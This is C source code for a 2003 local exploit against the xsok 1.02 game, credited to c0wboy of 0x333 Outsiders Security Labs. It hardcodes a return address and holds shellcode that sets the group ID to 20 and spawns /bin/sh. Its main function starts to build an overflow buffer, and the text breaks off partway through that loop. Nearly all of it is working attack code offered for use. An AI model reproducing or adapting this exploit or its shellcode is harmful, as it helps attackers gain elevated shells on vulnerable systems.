/* 0x333xsok (2) => xsok 1.02 local game exploit
 *
 *  Happy new year ! (2 :)
 *  coded by c0wboy 
 *
 *  (c) 0x333 Outsiders Security Labs / www.0x333.org
 *
 */


#include 
#include 

#define BIN     "/usr/games/xsok"
#define RETADD  0xbffffa3c
#define SIZE    200


unsigned char shellcode[] =

        /* setregid (20,20) shellcode */
        "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
        "\xcd\x80"

        /* exec /bin/sh shellcode */
        "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
        "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


        
int main (int argc, char ** argv)
{
        int i, ret = RETADD;
        char out[SIZE];

        fprintf(stdout, "\n ---   0x333xsok => xsok 1.02 local games exploit   ---\n");
        fprintf(stdout, "   ---       Outsiders Se(c)urity Labs 2003       ---\n\n");

        int *xsok = (int *)(out);

        for (i=0; i